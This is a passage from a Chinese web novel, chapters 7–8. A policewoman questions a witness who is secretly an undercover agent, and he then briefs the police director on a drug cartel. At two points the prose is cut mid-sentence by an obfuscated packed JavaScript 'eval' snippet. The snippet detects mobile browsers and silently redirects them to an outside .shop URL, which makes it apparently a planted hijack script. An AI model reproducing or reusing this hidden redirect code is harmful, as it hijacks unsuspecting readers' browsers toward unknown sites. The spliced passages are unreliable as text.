“联系我的同志说你看见我的回复后急不可耐,立刻马上就要见到我。本来呢我是很为难的,毕竟爽约可是个很减分的行为,但是一想到你那么想见到我,我的内心就无比挣扎。于是乎做出了一个违背人格的选择。”岑川报出个地址,“来吧,调查吧,警官。” 他真不是什么好东西,正常的话被他一说,都能让曲淮有种下一秒网警就要来电扫黄的感觉。 “......” 曲淮忍了又忍。 在心底骂了几句爽快些。 她果断撩了电话,把他说的地址输进导航里后穿起衣服,要出门时却停了停。迈步走到电脑旁晃动鼠标,把手机摆在一旁,一手摁开录音回放,一手点击电脑收藏夹里的语音条—— “曲大小姐。” “曲大警官?” 干净清澈的少年音和喑哑散漫的声线重合。 很明显不一样。 “呼。”曲淮卸了劲儿般瘫软下去一秒。 鬼迷心窍了。 她心说一定是因为这两天事情太多,让她一梦初醒后活得有些混淆。 * 城市的另一个角落,岑川坐在窗边,他进屋没多久,只开了门厅的灯。 今夜无云,天上空空,月亮孤单,如他一般。 再往上却是星海层叠,不见尽头,不比他的思绪繁杂。 脖颈滴滴冷湿,他抬手拭去。 胸腔内的心脏发凉,发慌。 拨号前用来润嗓的温水见底,杯子靠在他手臂上盘绕的崩起青筋旁。 片刻,他心里自嗤一声。 月光轻轻扫过室内,熄灭在墙边孤苦伶仃的小台灯罩透明一瞬,里面浮现出灯芯与一些别的东西的影子。 岑川走去拧开,钥匙和一张纸条掉在他的手上,他把前者放进兜里,又盯着后者看了几秒,在心里默念记下后,打火机声音一响,小纸条的灰尘跌落、摔碎、最后散开。 * 哑光黑色的雷克萨斯LX在街上“嗖”地弹射,旁边的大货车都被它的大胆震慑一颤,车窗外风景火速后退,遥遥瞥见了红灯,曲淮也没松开油门,在到路口时刚巧卡上了绿灯的点儿,一道黑影席卷过去。 晚高峰的开始到临,曲淮呼出口气,踩了两下刹车,这场像是在宣泄什么情绪的狂飙才终于停下。 曲淮停在茶馆门口,对着名字看了三遍才下车,把车钥匙抛给服务员,抬眼观望一圈,心道玩得还挺雅,按她对渣男的刻板印象来说,还以为那混蛋挑地方不是酒吧就是酒店。 楼上包厢,窗帘微开。 岑川单手掀帘,低眼看着。 她拢了身深黑大衣,眉眼间没有情绪。迈起步来又快又稳,长得能撑起无边风月,气质又高不可攀。漂亮得扎眼。 岑川收回视线,放下窗帘,耸了耸肩让自己紧绷的身体放松下来。青筋明显的手一只插在兜内,尽量显得无辜又无所谓,摆了一副慢悠悠地架子往前走。实际上两条长腿三步并作两步,几乎是从窗边瞬移到了门口。 脚步声由远至近,他握上门把手,跟微缩的黑瞳四目相对: “好久不见啊,警官。” 他眼底的情绪深不可见,藏起的渴望如同兜内穿透厚茧般的指尖一样被遮挡,只有痛感才能克制冲动。 7. 久别重逢 服务生上好茶后给两人各自沏了一杯就退出去,曲淮看都没看。将杯子挪到一旁,从包里拿出速写纸铺平,手握铅笔,单刀直入道:“岑先生,麻烦你把在电梯时看见的男人五官尽量准确地描述出来。” 岑川手指正有一搭没一搭地敲着桌面,闻言挑下眉:“这么直接?我还以为曲警官你至少得先跟我聊会儿天放松放松我的心情,再让我去干脑力活回忆呢。” 曲淮转下笔,脸上挂了个敷衍的抱歉笑容:“恕我眼拙,就岑先生挥霍着那么多真心来说,我实在看不出来你的心情哪儿还有放松的余地。” “......曲警官这话就有点伤我心了,”岑川笑笑,端起茶杯喝了口,“毕竟一想起曾经跟一个杀人犯同处一个电梯间,我心里就忍不住紧张与后怕呢。” 撒谎。 曲淮觉得他特假。 她掀起眼皮跟他对视。 岑川放在膝上骨节分明的手,倏忽收紧。 白炽灯下,窗帘随风轻轻摆动。 他的眼睛黑白分明,四目相对时往下低了点睫毛。 曲淮却在一瞬看清他眼底不容探究的尖锐,也不知道装出一副无害的模样,是想勾引谁上套。 她一想起他列表一溜烟的女生约会消息就厌恶,现在听他跟她虚与委蛇更是反感,反正就是哪哪儿合不了眼缘。 她收回视线,言简意赅道:“时间不等人。” 兴许是岑川哪儿根神经搭对了,没再扯别的,就顺着避开她的目光,悄无声息地盯了桌面几秒。 稍顷,手一松,他开口:“厚唇,嘴角下垂,干瘪,没有水分,褶皱很多......” 落笔声响起,曲淮画着,突然有种微妙的不对劲感,在她的心脏上突突地戳。蓦地,笔一停。 画人先画嘴是她的习惯,但正常为了比例可控或外人不懂也会先从脸型开始说。 他为什么—— “他的嘴很有特色,跟干燥处理后的菊花瓣似的,没少给我进行精神污染。”岑川一手支住侧脸,歪头扯下嘴角,散散慢慢。 “......” 曲淮抿抿唇。 是因为记忆点深刻吗? 她压下疑惑,笔尖与铅粉末在纸上发出“沙沙”的声音。 岑川掌心的汗沾在脸上,他边描述着,边若无其事抽出几张纸帕擦拭。中途插进几句夸张且外行的形容,微开的窗户带进雷声,一下一下有力地敲击在人的耳边。 曲淮停笔,边收拾东西,边问:“你对他除了有视觉上的记忆点以外,还有其他地方吗?” 她没抱多大希望,毕竟分局已经问过一次话了。 “有啊。”岑川两个字都能说得吊儿郎当。 曲淮撩眼看去。 她长得凶巴巴,再加上职业使然,没表情看人更是有种尖锐的刑讯意味。 “大概......”岑川视若无睹,“他左手无名指有戒痕,浑身有股很不好闻的生肉腥味,看到我进去第一反应不是挡脸,而是挡......下身?反正就那个地方左右吧。” 这几个点异常关键,曲淮定定看着他:“为什么案发当天不说?” 岑川与她四目相对:“不想。” “......”曲淮被他的坦荡无语住,一时不知道先定罪还是先普法,先怼一句还是先叹口气。没想出个所以然,反而又开始琢磨他那两个字。 岑川的嗓子很含混,有种抽烟过度的喑哑,甚至沾一些声带受损。但他身上的气息很干净,曲淮还没见过他抽烟,而且比起她听过的老烟鬼嘲哳声音,他的哑可以说是恰到好处。没有重成公鸭的程度,反而是有些清淡的旧唱片般的存在感。 认认真真看着她,又认认真真给她答案。 给人种撒娇的错觉。 曲淮不懂,天下乌鸦莫非真的一般黑吗?迷惑人起来都是大差不差的。 好在她见过,也知道面前坐了个什么样的混蛋,对这种做法只有排斥。只觉得他的温和令人火大,她眯了下眼:“所以你故意隐瞒知情不报?岑先生,你不是很懂法吗?” “我的前置词语带有不确定性。”岑川漫不经心地说,“刑事诉讼法里有说,证人应当如实作证,但如实作证并不代表提供完整详细的案件事实。毕竟坐电梯的时间那么短,我看见的任何东西都可能是由于我对他丑陋外表的主观厌恶而引起的潜意识臆想。要是一不小心构成伪证罪,我怎么能担得起呢?更何况,那可是命案!万一他有同伙,再万一我说了什么不该说的,被盯上了,绝对自身难保。人都不想引火烧身,很正常吧?” 他长得像能动手绝不动口的,但显然他不太能对得起自己的皮囊,曲淮就没见过他惜字如金。人都清楚说多错多,他却是越说越让人看不出真假的一种。 又让她想起沈非岑。 他也总有很多话和她说,每句话都像捧出他的心来贴住她的心,让跳动的频率传染,她从未怀疑,只任由胸腔砰砰作响。 最后她为此付出百倍代价。 曲淮握笔的手攥了攥,她真想破开眼前人轻浮还得意洋洋的外壳,看看他们这类人的底色能有多黑。她轻轻吁出口气,带上审讯时才会有的压迫:“那你今天为什么又说了?” 话音刚落,岑川笑了下,头顶的碎发一晃,曲淮就知道他说不出什么好话。 “因为你很漂亮啊。”混蛋的本性难移,话说得要命的暧昧,“这么漂亮的警官给我引来的火一定也漂亮,哪怕烧在我身上,我也甘之如饴。” 他不着调道:“从见到你第一面起,我就后悔没有揣个录音笔进电梯了,这让我们之间少了多少交集。” “......” 曲淮一挑眉。 在让她心烦的遣词造句里,一个多功能设备的名称让她敏锐地联想起酒店听见的离谱穿搭控言论。 当时朦朦胧的疑点再次出现,她看着岑川,指尖点了几下桌面。站起身,视线在他身上打了个转,最后停在他头顶的发旋:“岑先生,你这么会说,不妨说说你今天这身衣服又有什么说法,比方承重五十公斤的衬衫夹?对光才能看出的暗兜?” “你很喜欢吗?” “......” “好吧,其实我不是什么吹毛求疵的人。暗兜呢只是个带点设计的内衬,那个衬衫夹也不是定制的,更没那么有用,但不妨碍它是我的穿搭好物。”岑川仰起头掠过她的眼,似乎是不喜欢这种站位,很快又低下去,“我怕他们不上心地糊弄我,就故意那么说了。毕竟经理当时又忙又乱,肯定没闲心让我给他演示一遍求证。” 他坦白从宽很快,这个解释倒像是真的。 “这样吗......”曲淮盯着他,稍顷,暂且按下他的嫌疑,“岑先生还真是心思活络。” 似夸实贬地评价了句,她不再追究,点点头:“我最后向你确认一遍,你没有其他遗漏的‘臆想’了吧?” 岑川很可惜地摇了摇头。 “好。”曲淮弯腰拎包,嘴上应付了句:“多谢配合。” 站直,她的眸闪了闪:“还有,我提醒你一下,你见到我的第一面,就把我当成了你那长队里的芸芸众生。与你所谓的后悔少了不少交集南辕北辙,我都想不到你在那刻无比自信地脑补了多少和我的交集。” 曲淮手指在唇边轻点:“说话还是别张口就来比较好,满嘴跑火车的人很容易被阎王爷拔舌。岑先生,你要当心了。” 她正事收完尾,不妨碍秋后算账,连他的浑话也不让,偏不要他小人得志。 岑川却为她这份不吃亏的脾性安心。 他面上没什么表现,没有反驳、狡辩,又慢又沉,简短又清晰:“很遗憾你不是。” 少见地正常腔调,曲淮多看了他一眼。他坐在那儿,耷拉着眼皮,骨相确实摄人。她晃了下神,莫名不服。难道这年头单凭副好皮囊跟惺惺作态就能哄走那么多女孩儿的心了吗? 很快,她自嘲了下。 她当年可连副皮囊也没见过,心就怦然一动照样被哄走又碾碎。 曲淮不愿再多说,朝门口迈步。 岑川喉结滚动,假模假式地开口:“这么着急走啊警官,天上在打闪,我有点怕,要不你再多陪我会儿?” 他站起身抖了两下雨伞,腰腹处的线条有一瞬明显。黑漆漆的眼眸被他垂下的碎发挡住,看不清情绪,但绝对跟他说出口的不一样。 曲淮是真讨厌这种口不应心的人,说一套做一套心里想的是又一套,好像天下混蛋都一个德性,心里烦得要死,快到一定临界点,她不想委屈自己,回头: “不做亏心事,不怕鬼敲门。亏心事没少做的人,害怕都算轻的了。不过我奉劝你别在我面前玩角色扮演,毕竟妨碍办案是个很主观的事情。”她客气地说出摔脸的话,“经理也好,我也罢,时间只愿意给值得的人,至于忙不忙的不算重要,毕竟......” 曲淮笑了笑:“对象是你的话,只有浪费一说。” “岑先生,你要是巴不得手腕上多副银手镯,我建议你考虑下当街裸奔,肯定比在我面前找存在感来得痛快。” 窗外变得静谧,屋内归于安静,曲淮动作很利索,但可能是因为沉寂模糊了时间,总有种绵慢的温吞错觉缠绕在空气里。这方空间只有两个人,明明那么小,却又因为沉默那么空旷。 岑川一直没说话。 他就静静地注视着曲淮,注视她漆黑的长发、带有薄茧的十指、泛红的唇畔,和腰腹弯直时的锋利线条,她的明眸皓齿,和她的玲珑身段。 他的记忆太纷繁芜杂,原本忘了曾经在暗处看她时她的光芒万丈。但就是刚才被那么一刺,好像有种很长久的疼痛连成了一条直线把他从里到外一分为二。 毫不留情,像她的锐利。 良久,他开口,叹道:“浪费啊。” 曲淮收拾好正起身走到门口,下意识朝他看去。 岑川没继续说,他恹恹地垂下眼,挡住里面贪念与不舍的挣扎,边走边换了副可惜的口吻:“可是我此生最大的乐趣就是角色扮演了。” 他精瘦的身材能带给人无限的压迫力,直勾勾看人时是扑面而来的浓烈的雄性气息,长腿交叠身子却是笔直的。片刻,他走到曲淮面前。 曲淮瞥到他嘴边荡漾的笑意,看见薄唇开合最后吐出两个字:“借过。” 她没较这个劲,无言侧身,也收回了视线,不再看他。 岑川同样没留下目光。 在极窄的门口前,他们有转瞬是面对面的,那会儿曲淮认为,这会是她跟这个混蛋最亲密无间的一次动作。 公安局的墙体在夜景里偏白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126114|196084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,曲淮真正意义上披星戴月地回到了工作岗位。她在停车位倒车,往外一望,大部分房间都没关灯,但没什么声响,整栋楼都静悄悄的。平淡下裹挟着无数生死罪罚、前人后者的鲜血。 曲淮冲进去先把朱葛薅起来让他对着画像在各个系统筛人;又揪着昏昏睡去的卓飞耳朵让他联系市监局,把全市肉铺一类的营业执照都收集起来;最后在没闭过灯的法医工作处门口踱步两个来回没进去打扰,派小桃驻守有情况立刻汇报后,自己坐回了会议室等资料到位。 这会儿大约是凌晨一二点。 市公安局灯火通明。 案子来得太快,也太重,没给任何人留下缓冲的余地。一上来就跟可以说是近二十年最最最让人痛恨也最最最狡猾的毒品有牵扯,众人心里都压了块儿石头,在市局这样正义凛然的地方眯觉都梦魇。 曲淮面前摞了一沓陈年旧案,是她能在自己权限范围内调取的所有涉‘白砂晶’案件。其中甚至不包括她六年前参与的边境围剿案,但有她母亲莫玲玲的案件。 不过莫玲玲的案件没什么参考价值。 曲淮眼里印着莫玲玲的询问笔录。 手指掐在冰冷的纸页上,一行行往下刷。 她妈在九二年被设计吸食毒品,那会儿她还没出生。 当时莫玲玲察觉不对后立刻找到戒毒医院,大概因为剂量不多,也因为自我意识较强,她没有很癫狂的反应。区派出所人员只做了简单登记,在三年无复吸记录后便不再关注。 往前回忆都太模糊。莫玲玲二十多年的人生在口述里被草草带过,提到她生下健康的婴儿,再提到她确诊癌症。 正在当下字字戳心。结尾是一四年,莫玲玲被查出心血管存在不可逆的损伤,延昌市局立案调查,一切却为时已晚。 曲淮静静地翻过这一页。 刑技侦查最忌带私人情绪上战场,她努力把自己当成局外人去看。在无法确定作案毒品就是‘白砂晶’的情况下,曲淮必须通过这些卷宗去抽丝剥茧、尽量熟悉其中细节,才能在如今或将来有隐秘的共同点出现时,做到迅速捕捉。 谁让她对‘白砂晶’实在算不上了解,它在延昌猖獗时曲淮还没熬出寒窗苦读。 真要说了解,公安内部活着的人,除了范凤兰,也就剩他们市局的两位局长了,金局尤其。 但他似乎对此次案件没投入太大关注。 曲淮想着,往窗外扫了眼。 暮色晃晃,瞧不着它挤掉的金光。黑夜向来是最不挑剔的掩护,这挡人生凶,那挡人行善,人性无可遁形,人行却天衣无缝。 城市里,一辆平平无奇的出租车左拐右拐,最终停到一个隐蔽的地方。周围光线昏暗,只有破旧的路灯发散微弱的光。随着秒针转动,灯下一道黑影出现,身材高大的男人迈着步子走到车边。 他从倒车镜扫到主驾的脸—— 延昌市公安局金德局长,延昌市操持大局的一级人物。 岑川没再耽误,躬身上车。 金局递过去瓶金桔柠檬。 据传是这位局长保持年轻心态的秘诀,他在办公室里都堆了几箱金桔柠檬,不管跟谁谈话都要给一瓶,一度让延昌市公安局的众人对这300ml的饮料应激。 岑川就不同了,他没在公安局待过,甚至这是他第一次和金德正式见面。看着递到眼下的饮料,他顺手接过,却没有要喝的意思。 其实是因为晚上和曲淮打电话前喝了很多水润嗓,他真不渴。 不过落在金局眼里,就成了受过不少暗害、防备心超强的小可怜模样。 他思索如何开口,几秒,乐呵呵地感慨:“长大啦。” “......?”岑川跟这种上来就是体贴关心的长辈接触的经验趋近于零,他客气道,“您也是。” 金局一口甜水没咽下去,被呛得直接“咳”了两声。 眼皮顶起褶皱,他边拧起瓶盖边端详。 后视镜内岑川面容清晰,卸了一身摸爬滚打出的危险气息。单看脸,倒有几分与气质不符的温吞在,这点和死去的云弘相像。 延昌市公安局前禁毒副支队长,云弘。他是参与‘白砂晶’案的上一任卧底,也是把岑川一手领进公安的人。 金德记得那会儿是一四年。 岑川还叫沈非岑。 云弘口吻欣慰又带着叮嘱地跟他说沈非岑考进警大了,金德当时就听出他话里的难得徇私。他让他多照顾他,等他毕业了给他找个清闲的活干,说这孩子不容易、太苦了,一定替他护着。 哪曾想后来云弘出事,岑川临危受命,再次深入贩毒组织,成为公安系统里埋藏最深的钉子,几年下来搅断不少运毒路线。他本应满身功勋回到光明,却在最终的边境围剿行动失败后不知去向。 金德有猜想他是又闯进了地狱。 但那时太过紧急,金德作为他的唯一联系人,连联系线路都没时间再去安排,再见全凭万幸。 金德从后视镜多看了几眼,他们联络时多是电话交流没见过面。只能说路太长也太熬人,档案里脊背挺直的少年,被生划硬刻上的痕迹已然深邃。青年暮气,不复荣光。 “在说其他事之前,我希望您可以先回答我一个问题。”岑川打断他的思绪,“六年前,曲淮为什么会出现在库房外?” 8. 走进科学 “因为我在人群中多看了她一眼。” “......”岑川的表情一瞬空白。 金局显然对这个答案记忆犹新:“我当时问完她,她的表情跟你一样,然后带着几分自我怀疑反问我——‘难道不是您让我去的吗’,大概就这么句话。” 金局无奈地解释:“后来一对,我才明白。是当时有人建议堵一下次目标的时候,我怕节外生枝,给你添乱,只能明确否定。心里又实在记挂你的安危,无意识扫了眼库房,刚巧,曲淮就站在那个方向,这一眼直接给年轻人造成了错觉......” “她理解为有资历的刑警都得倾巢出动,全力追捕主目标,而她那种肩上没什么担子的新警就应该去处理相比之下不甚重要的次目标了。这姑娘还把我没明说的原因归咎为这个决定有点不太人道。” “她啊,行动强头脑灵,性格冲脾气硬,现在是市局禁毒的顶梁柱了。你知道她的名字,是已经见过面了吧?等等......”金德突然意识到什么,眉头微蹙。 “当年收到爆炸发生的消息后,我严禁别人进入,亲自去现场却没找到你。事后曲淮的反应很明显是遇见你了,但我不确定她看清你没,所以安排了一个体型跟你相似的男警去应对。她当时并未表现出异样,可既然你知道她的模样,那地儿又被炸平了,按常理,她也应该知道你的长相才对,怎么会被轻易糊弄过去呢?” “没有,当年......”岑川回答,“我没看清她,她没看见我的脸。” 金局不知道他拿血糊了把脸,还觉得两人都挺警惕:“原来是这样。” 岑川平平静静地沉默了会儿,才再次开口跳过话题:“齐闻没回来,明面儿上只安排了我一个人,为的是把延昌偷卖‘白砂晶’的渠道揪出来,背地里也没让人跟着我,来了延昌后才有几个‘钉子户’盯上我。” 他没提一句不对劲,但其中有鬼昭然若揭。 “711的案子很凑巧,齐闻的意思是延昌的贩毒组织在内讧,但如果涉及‘白砂晶’,我更倾向于是一些起过歪心思的势力在向他投诚。毕竟他们也摸不清齐闻的真实意图,于是一边怕被清算,一边又想上他的新船。” “不过您也清楚,我能与您见面,本身就说明我目前掌握的情报价值有限。我被边缘化了五年来说,他的重点也都在东南亚那边,这次把手伸进国境线,突然让我接触核心,目的绝不单纯。我可能是块被抛出去的探路石,也可能是个声东击西的幌子。”岑川的分析冰冷而精准,“毕竟案发当晚我要真在隔壁住下的话,估计短时间内都是警方的调查重心。” 他的任务远比电视剧里的隐秘生涯艰难,犯罪头目说的话不是话,做的事不是事。他们不会对除自己以外的人放心,更不会直言直语全盘托出。通常是把一件事当成饼干,掰碎了把渣分给下面的人。岑川一路十几年,就像走在大雪埋的冬里,看不见要踩下去的脚会落在薄冰还是深渊上。 “眼下唯一能确定的,就是齐闻又开始动作了。”岑川说完。 “明白了。”金局说,“我会尽快安排好明松暗紧的布控,你放心做你的事,不用顾虑这边。” “嗯。”岑川应了声,“还有件事,六年前齐闻在库房附近埋藏炸弹是早有打算,而且整个过程算得上亲力亲为,但被炸成碎片的人在当时充其量是个落魄买家,他似乎不是很值得齐闻大费周章。” 金局懂他的意思,摇头:“我们后续深挖过次目标郭达在常活动区域的一些陈年旧事,没能查出他与主目标齐闻间发生过什么纠葛。” 岑川不意外:“我也没听人提起过齐闻跟郭达有什么深仇大恨。只是有次别人说起这件事齐闻看了我一眼,里面有种诡异还兴奋的救赎感。” 光听都恶寒。 金局眉头拧起:“你的意思是郭达可能跟你有关系?” 岑川是孤儿。 云弘介绍他时,公安这边做了不下百次背调,连一丝他家世的痕迹都没查到,对于他被齐闻收养前的经历更是一无所获。 岑川直接道:“大概率是的,可以联合调查下,说不定能找出齐闻针对郭达的原因。” 金局严肃点头:“不过年代久远,人事变迁,很多线索都断了,怕是不一定能有结果。” 岑川自然知道,点点头:“这件事情顺其自然,六年前是齐闻掌握贩毒网络后第一次和郭达合作,像销毁犯罪链此类的事不太现实。我推测郭达手上都没有能威胁到齐闻的东西,更别提致命把柄,很可能是他早期在别的地方得罪过齐闻。” 金局应声。 时间一分一秒流逝,危险随着停留而递增。两个深知此地不宜久留的人,此刻却都默契地没有动作。狭小的车厢内,一种难以言喻的滞重气氛弥漫开来。稍顷,两道声音一同响起: “她......” “你......”金局滞了下,似乎也知道岑川会让他,于是说了下去,“你这些年过得怎么样?” 这话放在这儿,未免太像怀疑、试探了。 毕竟长达数年的失联,人又身处在吞噬光明的罪恶沼泽,被同化或腐蚀似乎是件轻而易举的事。谁都不敢保证一身清白的人进去走一遭,再出来不会被溅上洗不干净的泥点。 金局却立刻意识到歧义:“我不是那个意思......” “我知道,您来都没有配枪。”岑川打断他,“云队死前跟我们说的话应该大差不差,我只能信任您,您也只能信任我。” “是,是。”金局沙哑道,“确实不合时宜,但我怕过了今天就没机会了,所以就当替他问你两句。” 这话太沉重,金局又补了句玩笑:“当年你要是没走那么快,现在说不定都能坐在办公室晒太阳了,哈哈——” 话赶话着实没起到什么放松作用。 岑川摇了摇头:“齐闻不会给我留太多自由时间,我想最多三天,我就能接触到延昌的贩毒组织,到时即使齐闻没发话,他们也会咬死了我,我们之后进行联系最好避免见面。” 金局从后视镜看着他,微不可察地叹了口。 他跟一般的卧底还不太一样,在谁面前都有不一样的皮套。早些年金局审那些杂碎时,没少听他们说岑川有多狂悖有多狠戾,有多让人胆寒。按说这么个性格,在上司面前也该多少有些不三不四,但他没有。只是近乎刻板的平静,少言寡语,情绪深埋,往严重说,都不太像个真实的人。 他对公安没什么归属心,金局能感觉到。他从没提过归队,对这份任务存了必死的决心。 究其原因,大概和他早年好不容易走进正常社会结果却中道而缀的经历脱不开关系,人很难燃起被扑灭过的希望。念及此,金局胸口闷重几分。 “她......”岑川舔了下干燥的唇,在舌尖缠绕的名字,带着灼热的温度滑出去,“曲淮,受的伤怎么样?” 金局怔了怔。 刚腹诽完人对公安疏远,人就关心同胞了? “还好,还好。”金局琢磨着说,“没太致命的地方,只有肩头与爆炸源近距离接触到,伤比较严重,但也养回来了,赶不上她这几年出任务受的新伤。” 后视镜,岑川突然直直地注视他,像是有什么自己的考量,又像是在挣扎一样,大概三五分钟,他似乎变成了颓然落败的野兽,垂眸,沉沉的嗓音含糊压在空气里:“哦......” 金局:“说起她,你在延昌的时间肯定少不了和她接触,但是她心思活泛,要是看出什么不对......” “我不会让她看出来。”岑川说。 他手里握着瓶,塑料纸发出不堪重负的“嘎吱”声:“我的结局既定,还是少给别人徒增烦恼了。” 金局忍了忍,没憋住劝他:“我们看事情不要太悲观......” “我知道的。”岑川再一次截住他的话,“我知道的......我见过的。” 他似乎在漆黑的夜里看到了什么,俊挺的眉目中深不见底,说出的话有几丝悲凉的惆怅:“曲淮,她......” 金局耐心等待他的后言。 可过去几分钟,岑川始终没能说出来,他只是用一种极其难过的表情沉默不语,眼神像在电闪雷鸣间,不甘被云层抛弃的一滴雨水般无力。 最后落下了一句话。 “她很好,但这件事情很危险,您可以适当提醒她多加小心。” 金局“喔喔”应了两声,还想说些什么,岑川却已猛地推开车门,动作快得带起一阵风,只留下一句消散在空气中的:“我走了,您多保重。” 金局愣了愣,不懂他突如其来的风风火火。 他来和走的方向都被黑暗吞没,金局缓缓收回视线,疲惫的双眼短暂阖上。 该有的疑虑未曾存在,不该出现的关切念头层出不穷,他作为云弘以外唯一了解眼前年轻人过往的人,有太多不能言说的愧疚了。 空气静静地浮动,细微的灰尘声音组成了云弘死前打给他的最后一通电话,字字泣血: “老金,你清楚的......他绝对不会背叛这条路,他本来都为自己搏出了生路,结果又为了一条不归路放弃。是我、我对不起他!这条路......这条路上已经牺牲了太多的人,希望我是最后一个......” 长夜难明,英雄不名。 * 四月初,连天成势的新绿都被黑夜抹暗,市公安局亮起的明灯挤出重围。挨个走进会议室的人东倒西歪,浅阖着眼能补几秒能量算几秒。曲淮最后一个到,站在桌前扫视一圈,抬手往身后屏幕叩击两下,下面人立刻睁开眼,肩背都挺直。 朱葛接过她抛来的遥控器,跟电脑连上,嘴里念叨着:“你们敢信,这孙子居然上了失踪系统又被撤案了。我们一队二队的人对着前科人员库跟熬鹰似的,一个个眼睛都熬得又直又红,怪不得半点关联信息没找到......” 他一摁鼠标:“好了!” 卓飞在看清信息上的男人时双眼瞬间瞪大:“杨副!快看!” “......”曲淮被他一惊一乍的动静搞得头疼,和熙的笑容包裹过去,“怎么这人是你们杨副养的外室?你这一副给他捉奸的急迫样是想他完蛋还是你不想干?” “......”被一高一低声音点名的人正揉着眉心,抬头是张温雅的脸。给他跟曲淮搭伙的领导最看中他的长相,认定他俩能互补,虽然起点不靠谱,但最后结果很理想。杨宗这人十分会说话,在曲淮刻薄的刺言刺语里总能找到弥补的地方。 不过同时,他又是个把心理学学透了的,某种意义上恐怖程度并没低曲淮太多。 好在他够好。 脾气够好。 比如他现在听见曲淮的玩笑只是轻轻吸了口气:“那我眼光也太差了吧。”随后一本正经,“不过真是捉奸。” 曲淮一扬眉。 卓飞欲哭无泪:“嗯嗯!但跟杨副没多大关系,就那天那个把咱这儿吆喝成菜市场的大姐,您还记得吗曲队?” 在曲淮愈发温和的眼神里,他最后吓出了敬语。 曲淮一怔:“这男的是她老公?” “对。”杨宗简短阐述了整件事情—— 那天他们真是跟那个大姐以一种讨价还价的方式商量,最后的结果就是他们陪她一起去她那儿的派出所报警,也就自然看见了她口中顶着个破洞裤衩在外边儿厮混的老公照片。 卓飞小鸡啄米似的点两下头。 “......”曲淮启唇无言半秒,对这微妙的巧合做出惊讶的态度。 “嫌疑人方勇,五十三岁,个人经营一家肉铺,”朱葛把资料甩在桌上,“派出所熟客了!嫖赌都沾,但我翻遍了也没找到涉毒的案底。” 他解锁手机,转发了段聊天记录到几人小群里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126115|196084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“比较有意思的是,我问了他们那边的同志,他每次犯事,都是他老婆报失踪给捅出来的。他老婆一找不着他就报失踪,他们一找人准能发现他在犯事。” 曲淮盯着屏幕。 照片要比她的速写传神多了。 一个矮胖的中年老男人,骨头却依旧像被皮绷着,脂肪没起到匀称作用,反而让他整个人像颗快炸了的皮球。两腮突出,下颚赘肉叠成布,把嘴挤在中间,满脸的衰相。 卓飞一听登时又回到魔音贯耳的那天,与那边同志感同身受,泪眼汪汪问:“那上次怎么报到市局来了?” 朱葛也很无奈:“说是屡教不改,觉得他们力度太轻。” 曲淮盯着屏幕上那张油腻猥琐的脸,有几分狐疑,但不多,很快颔首下了命令:“卓飞,带队抓人。” “哎!”卓飞的戚戚哀哀迅速退去,精神奕奕一扬头,招呼几个肱二头肌发达的刑警破门而出。 屋子嘈杂过后,不对劲感在沉默中加强。 曲淮自语:“......是不是有些过于容易了?” 死者身份信息在酒店登记,他们连尸源都没浪费时间锁定。嫌疑人算是花了点心思,但那心思花得都不如给老太太找假牙多,凭张画像就逮住了。 顺到让人感觉不真实。 “可能......”朱葛想起分局同志的大倒苦水,“是他命不好?正好娶了个雷达敏锐的老婆?” 曲淮太阳穴隐隐跳动出警报的频率,可惜琢磨半天,她连个尾巴都没摸到:“算了,等人抓回来就知道了。” 杨宗捏着鼻梁:“我去健身房那边走访过了,没有特殊发现。童冉这人很孤僻,没什么朋友。同事......话里话外意思是她业绩好全靠不正当手段。” 他说完,给一旁专心记笔记的另位小姑娘去了个眼神,让她也表现下。 转正没多久的简桃积极性很强,不管大会小会都要从放在一边儿的背包里取出文件整整齐齐摆在面前,接收到的瞬间正襟危坐:“但我借了别人手机,看了看她朋友圈,都是健身房要求发的卖卡广告,连张好看的风景照都没有。” 曲淮拿出童冉的资料:“无父无母,自力更生,社交软件不频繁使用。”她放下,“同事的评价偏向造谣,被造谣说明她工作做到让人忮忌的地步,所以一个听起来特励志的小姑娘,从哪去接触毒品呢?” 小桃一品:“我感觉嫌疑人蓄谋已久的可能性很大。” 她倍速播放了调取回来的健身房监控:“助教跟客人之间的近距离接触多到数不胜数,嫌疑人想搞点花招还是很容易的。” 曲淮盯着屏幕上动来动去的人影没有出声。 年过半百的老男人不像是个有本事的,色胆倒是大得很,但助教姑娘同样谨慎得不行,曲淮想不到她会被心有提防的人设计吸毒。 可她的生活圈子又干净清白得离谱,曲淮同样想不到她怎么能凭自己接触到毒品。 违和感像根细刺,扎在心头,似乎只有抓到嫌疑人案子才能继续推进。 朱葛往曲淮的方向转个椅子过去,揉着手腕:“坐着等会儿吧。” 杨宗:“腱鞘炎犯了?” “有感觉了。”朱葛长出一口气,“没多大事,等会儿找何主任给我开两个止疼药。” “你这不行,最近不是有什么语音操控吗?你给自己的老伙计也安个那玩意儿,从根源上解决。”杨宗给他提建议,“你这内勤干得比咱曲队一外勤去验伤的次数都多,传出去让别人以为咱市局搞阶级对立呢。” “怎么还拉踩上了?”曲淮坐下。 “冤。”杨宗笑眯眯,“我可清楚咱曲队是身手了得才受伤少啊。” “那真不是,多探点野路子就行了。”曲淮扬扬眉,“要真拿学校里格斗的招去跟地痞流氓扯头花,我也防不胜防。” 